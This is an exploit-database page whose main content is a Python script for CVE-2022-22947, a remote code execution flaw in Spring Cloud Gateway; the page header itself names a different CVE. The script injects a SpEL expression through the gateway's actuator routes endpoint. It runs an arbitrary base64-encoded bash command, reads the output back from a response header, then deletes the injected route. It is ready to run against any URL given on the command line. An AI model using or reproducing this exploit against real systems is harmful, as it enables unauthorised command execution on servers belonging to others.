Exploit database

GH-c5e772f56d8ca689023cfd43cfb15fc8

24-2021/exp-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-22005

16 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files4
24-2021/exp-pocRevision c5f6c62709c1

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2022-22947-POC/CVE-2022-22947_EXP.py

Python · 5,448 bytes
import time
import requests
import urllib3
import json
import re
import base64
import sys
urllib3.disable_warnings()


a = '''
  $$$   $$  $$  $$$$$        $$$    $$$    $$$    $$$         $$$    $$$    $$$      $$  $$$$$ 
 $$  $  $$  $$  $$          $  $$  $$ $$  $  $$  $  $$       $  $$  $  $$  $$ $$    $$$     $$ 
 $$     $$  $$  $$             $$  $$ $$     $$     $$          $$     $$  $$ $$   $ $$    $$  
 $$      $$$$   $$$$$  $$$    $$   $$ $$    $$     $$   $$$    $$     $$   $$ $$  $  $$    $$  
 $$      $$$$   $$           $$    $$ $$   $$     $$          $$     $$     $$$$  $$$$$$  $$   
 $$  $   $$$$   $$          $$     $$ $$  $$     $$          $$     $$        $$     $$   $$   
  $$$     $$    $$$$$       $$$$$   $$$   $$$$$  $$$$$       $$$$$  $$$$$   $$$      $$  $$   

                                                              by 欢迎关注chaosec公众号 禁止一切违法!
'''
b = 'python CVE-2022-22947_POC.py url.txt'

uri_check = '/actuator/gateway/routes/codee'
uri_refresh = '/actuator/gateway/refresh'

headers = {
    'Accept-Encoding': 'gzip, deflate',
    'Accept': '*/*',
    'Accept-Language': 'en',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
    'Content-Type': 'application/json'
}


# 刷新路由

def refresh(url):
    try:
        rf = url + uri_refresh
        req_refresh = requests.post(url=rf, verify=False, timeout=5)
        time.sleep(1.5)
        code_refresh = req_refresh.status_code
        if code_refresh == 200:
            print('[+]刷新路由成功')
        else:
            print('[-]刷新路由失败')
            # print(code_refresh)
            # print(code_refresh)
    except requests.exceptions.RequestException:
        print('[-]刷新路由超时')
    except:
        print('[-]刷新路由异常')


def huixian(url):
    try:
        req_huixian = requests.get(url=url + uri_check, verify=False, timeout=5)
        time.sleep(1.5)
        req_huixian_text = req_huixian.text
        req_huixian_code = req_huixian.status_code
        if req_huixian_code == 200:
            req_huixian_text = req_huixian_text.replace("'", '')
            req_huixian_text = req_huixian_text.replace(" ", '')
            req_huixian_text = req_huixian_text.replace("\\n", '')
            req_huixian_re = re.compile(r'AddResponseHeaderResult=(.*?)],')
            req_huixian_re_1 = req_huixian_re.findall(req_huixian_text, re.S)
            huixian = req_huixian_re_1[0]
            print(f'[+]获取回显命令成功:{huixian}')
            # print(req_huixian_text)
        else:
            print(req_huixian_code)
            # print(url + uri_check)
            # print(req_huixian_code)
            print('[-]获取回显失败,请手动测试')
    except requests.exceptions.RequestException:
        print('[-]获取回显超时')
    except:
        print('[-]获取回显异常,请手动测试')


# 删除命令注入
def del_rce_in(url):
    all = url + uri_check
    try:
        req = requests.delete(url=all, verify=False, timeout=5)
        code = req.status_code
        if code == 200:
            print('[+]删除注入路由成功')
        else:
            print('[-]删除注入路由失败')
    except requests.exceptions.RequestException:
        print('[-]删除注入路由超时')
    except:
        print('[-]删除注入路由异常')


# 批量检测漏洞
def exp(url,cmd):
    cmd = cmd.encode('utf-8')
    cmd = str(base64.b64encode(cmd))
    cmd = cmd.strip('b')
    cmd = cmd.strip("'")

    bs_payload = 'bash -c {echo,' + cmd + '}|{base64,-d}|{bash,-i}'

    payload = {
        "id": "code",
        "filters": [{
            "name": "AddResponseHeader",
            "args": {
                "name": "Result",
                "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\"" + bs_payload + "\").getInputStream()))}"
            }
        }],
        "uri": "http://ggg.cpdd",
        "order": 0
    }

    url = url.strip('\n')
    url = url.strip('/')
    try:
        all = url + uri_check
        req = requests.post(url=all, data=json.dumps(payload, ensure_ascii=False), headers=headers, json=json,
                            verify=False, timeout=5)
        code = req.status_code
        if code == 201:
            # print(code)
            print(f'[+]{url}存在漏洞')
            # poc_file = open('success.txt', 'a+')
            # poc_file.write(url + '\n')
            # poc_file.close()
            refresh(url)
            huixian(url)
            del_rce_in(url)
            refresh(url)
            # refresh(url)
        else:
            print(f'[-]{url}不存在漏洞')
    # continue
    except requests.exceptions.RequestException:
        time_poc = f'[-]{url}漏洞检测超时'
        print(time_poc)
        pass
    except:
        print(f'[-]{url}rce注入失败,请检查网站是否能访问')



if __name__ == '__main__':
    print(a)
    try:
        url1=sys.argv[1]
        cmd1=sys.argv[2]
        exp(url1,cmd1)
    except:
        print('请输入正确的参数')
        print('python CVE-2022-22947_EXP.py http://target.com:8080 whoami')